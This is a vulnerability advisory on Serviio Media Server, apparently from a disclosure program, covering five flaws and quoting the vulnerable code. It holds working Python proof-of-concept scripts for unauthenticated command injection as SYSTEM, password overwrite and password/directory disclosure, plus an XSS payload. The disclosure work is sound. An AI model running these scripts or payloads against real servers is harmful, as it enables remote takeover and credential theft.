Vulnerabilities Summary
The following advisory describes a five (5) vulnerabilities found in Serviio Media Server. Affected version: 1.8.0.0 PRO, 1.7.1, 1.7.0, 1.6.1.
Serviio is a free media server. It allows you to stream your media files (music, video or images) to renderer devices (e.g. a TV set, Bluray player, games console or mobile phone) on your connected home network.
Serviio works with many devices from your connected home (TV, Playstation 3, XBox 360, smart phones, tablets, etc.). It supports profiles for particular devices so that it can be tuned to maximise the device’s potential and/or minimize lack of media format playback support (via transcoding).
Serviio is based on Java technology and therefore runs on most platforms, including Windows, Mac and Linux (incl. embedded systems, e.g. NAS).
The vulnerabilities found in Serviio Media Server are:
- Remote Code Execution
- Local Privilege Escalation
- Unauthenticated Password Modification
- Information Disclosure
- DOM-Based Cross-Site Scripting (XSS)
Credit
An independent security researcher Gjoko Krstic from Zero Science Lab has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor Response
We have tried on numerous occasions over the past two months to contact the vendor, all emails sent to them went unanswered.
Vulnerabilities Details
Remote Code Execution
Serviio Media Server is affected by an unauthenticated remote code execution vulnerability due to improper access control enforcement of the Configuration REST API and unsanitized input when FFMPEGWrapper calls cmd.exe to execute system commands. A remote attacker can exploit this with a simple JSON request, gaining system access with SYSTEM privileges via a specially crafted request and escape sequence.
Vulnerable Code
Vulnerable file path: org/serviio/ui/resources/server/ActionsServerResource.java
private ResultRepresentation checkStreamUrl(ActionRepresentation representation) { this.validateParameters(representation, 2); try { MediaFileType fileType = MediaFileType.valueOf(representation.getParameters().get(0)); String url = StringUtils.trim(representation.getParameters().get(1)); LocalItemMetadata md = MetadataFactory.getMetadataInstance(fileType); DeliveryContext context = fileType == MediaFileType.VIDEO ? new VideoDeliveryContext(false, null) : new AudioDeliveryContext(false, null); FFmpegMetadataRetriever.retrieveOnlineMetadata(md, url, context); return this.responseOk(); } catch (InvalidMediaFormatException e) { return this.responseOk(603); }
Vulnerable file path: serviio.jar / external / ProcessExecutor.java
private Map<String, String> createWindowsRuntimeEnvironmentVariables() { HashMap<String, String> newEnv = new HashMap<String, String>(); newEnv.putAll(System.getenv()); ProcessExecutorParameter[] i18n = new ProcessExecutorParameter[this.commandArguments.length + 2]; i18n[0] = new ProcessExecutorParameter("cmd"); i18n[1] = new ProcessExecutorParameter("/C"); for (int counter = 0; counter < this.commandArguments.length; ++counter) { ProcessExecutorParameter argument = this.commandArguments[counter]; String envName = "JENV_" + counter; i18n[counter + 2] = new ProcessExecutorParameter("%" + envName + "%"); boolean quotesNeededForWindows = this.quotesNeededForWindows(argument); if (!quotesNeededForWindows) { argument = new ProcessExecutorParameter(this.escapeAmpersandForWindows(argument.getValue())); } newEnv.put(envName, this.wrapInQuotes(argument, quotesNeededForWindows)); } this.commandArguments = i18n; String[] tempPath = FileUtils.splitFilePathToDriveAndRest(System.getProperty("java.io.tmpdir")); newEnv.put("HOMEDRIVE", tempPath[0]); newEnv.put("HOMEPATH", tempPath[1]); newEnv.putAll(this.createFontConfigRuntimeEnvironmentVariables()); if (log.isTraceEnabled()) { log.trace(String.format("Env variables: %s", newEnv.toString())); } return newEnv; } private String wrapInQuotes(ProcessExecutorParameter argument, boolean quotesNeeded) { return (quotesNeeded ? "\"" : "") + argument + (quotesNeeded ? "\"" : ""); } protected boolean quotesNeededForWindows(ProcessExecutorParameter argument) { boolean quotesNeeded = argument.getValue().indexOf(" ") > -1; return quotesNeeded; } private String escapeAmpersandForWindows(String value) { return value.replaceAll("&", "^&"); }
Proof of Concept
The Proof of Concept will create a file testingus3.txt in ‘C:\Program Files\Serviio\bin‘ with whoami output in it and start a calc.exe child process as nt authority\system.
from urllib2 import Request, urlopen import sys if (len(sys.argv) <= 1): print '[*] Usage: serviio_rce.py <ip address>' exit(0) host = sys.argv[1] values = """ <action> <name>checkStreamUrl</name> <parameter>VIDEO</parameter> <parameter>1.2.3.4'\"`&whoami >testingus3.txt&&calc&`'</parameter> </action>""" headers = { 'Content-Type': 'application/xml', 'Accept': 'application/xml' } request = Request('http://'+host+':23423/rest/action', data=values, headers=headers) response_body = urlopen(request).read() print response_body ''' Raw request: POST /rest/action HTTP/1.1 Host: 10.211.55.3:23423 Content-Length: 93 Accept: application/json, text/plain, */* Origin: http://10.211.55.3:23423 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36 Content-Type: application/json;charset=UTF-8 Referer: http://10.211.55.3:23423/console/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 DNT: 1 Connection: close {"name":"checkStreamUrl","parameter":["VIDEO","1.2.3.4'\"`&whoami >testingus3.txt&&calc&`'"]} '''
Local Privilege Escalation
Serviio Windows application suffers from an unquoted search path issue impacting the service ‘Serviio’ as part of Serviio DLNA server solution. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system.
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges of the application.
Serviio also suffers from improper permissions which can be used by a simple authenticated user that can change the executable file with a binary of choice. The vulnerability exist due to the improper permissions, with the ‘F’ flag (Full) for ‘Users’ group, for the Serviio directory and its sub-directories.
Proof of Concept
C:\>sc qc Serviio [SC] QueryServiceConfig SUCCESS SERVICE_NAME: Serviio TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\Serviio\bin\ServiioService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Serviio DEPENDENCIES : HTTP SERVICE_START_NAME : LocalSystem C:\>icacls "C:\Program Files\Serviio\bin\ServiioService.exe" C:\Program Files\Serviio\bin\ServiioService.exe BUILTIN\Users:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) Successfully processed 1 files; Failed processing 0 files C:\>
Unauthenticated Password Modification
Serviio suffer from unauthenticated password modification vulnerability due to improper access control enforcement of the Configuration REST API. A remote attacker can exploit this, via a specially crafted request, to change the login password for the mediabrowser protected page.
Proof of Concept
import sys import xml.etree.ElementTree as ET from urllib2 import Request, urlopen if (len(sys.argv) <= 3): print '[*] Usage: serviio_pwd.py <ipaddress> <port> <newpassword>' print '[*] Example: serviio_pwd.py 10.211.55.3 23423 eagle20fox2' exit(0) host = sys.argv[1] port = sys.argv[2] #default port for console is 23423, and for the mediabrowser is 23424. lozi = sys.argv[3] values = """ <remoteAccess> <remoteUserPassword>{0}</remoteUserPassword> <preferredRemoteDeliveryQuality>ORIGINAL</preferredRemoteDeliveryQuality> <portMappingEnabled>true</portMappingEnabled> <externalAddress>myserviio.dyndns.com</externalAddress> </remoteAccess>""" put = values.format(lozi) headers = { 'Content-Type': 'application/xml', 'Accept': 'application/xml' } request = Request('http://'+host+':'+port+'/rest/remote-access', data=put, headers=headers) request.get_method = lambda: 'PUT' response_body = urlopen(request).read() roottree = ET.fromstring(response_body) for errorcode in roottree.iter('errorCode'): print "\nReceived error code: "+errorcode.text print 'Password successfully changed to: '+lozi print 'Go to: http://'+host+':23424/mediabrowser\n'
Information Disclosure
Serviio suffer from information disclosure vulnerability due to improper access control enforcement of the Configuration REST API. An unauthenticated, remote attacker can exploit this, via a specially crafted request, to gain access to potentially sensitive information.
Proof of Concept
import sys import xml.etree.ElementTree as ET from urllib2 import Request, urlopen if (len(sys.argv) <= 2): print '[*] Usage: serviio_id.py <ip address> <port>' print '[*] Example: serviio_id.py 10.211.55.3 23423' exit(0) host = sys.argv[1] port = sys.argv[2] headers = {'Accept': 'application/xml'} request = Request('http://'+host+':'+port+'/rest/import-export/online', headers=headers) print '\nPrinting ServiioLinks:' print '----------------------\n' response_body = urlopen(request).read() roottree = ET.fromstring(response_body) for URLs in roottree.iter('serviioLink'): print URLs.text print headers = {'Accept': 'application/xml'} #request = Request('http://'+host+':'+port+'/rest/list-folders?directory=C:\\', headers=headers) request = Request('http://'+host+':'+port+'/rest/list-folders?directory=/etc', headers=headers) print '\nPrinting directories:' print '---------------------\n' response_body = urlopen(request).read() roottree = ET.fromstring(response_body) for URLs in roottree.iter('path'): print URLs.text print headers = {'Accept': 'application/xml'} request = Request('http://'+host+':'+port+'/rest/remote-access', headers=headers) print '\nPrinting mediabrowser password:' print '-------------------------------\n' response_body = urlopen(request).read() roottree = ET.fromstring(response_body) for URLs in roottree.iter('remoteUserPassword'): print URLs.text print
DOM-Based Cross-Site Scripting (XSS)
Serviio is vulnerable to a DOM-based cross-site scripting. Data is read from document.location and passed to document.write() via the following statement in the response: document.write(‘<base href=”‘ + document.location + ‘” />’); This can be exploited to execute arbitrary HTML and script code in a user’s browser DOM in context of an affected site.
Proof of Concept
An attacker sends the following request:
http://172.19.0.214:23424/mediabrowser/#/browse/V_F?title=Folders&b=Home&b=Video&bid=0"><script>alert("ZSL")</script>
Element response:
<base href="http://172.19.0.214:23424/mediabrowser/#/login?title=Folders&b=Home&b=Video&bid=0%22%3E%3Cscript%3Ealert(%22ZSL%22)%3C%2Fscript%3E">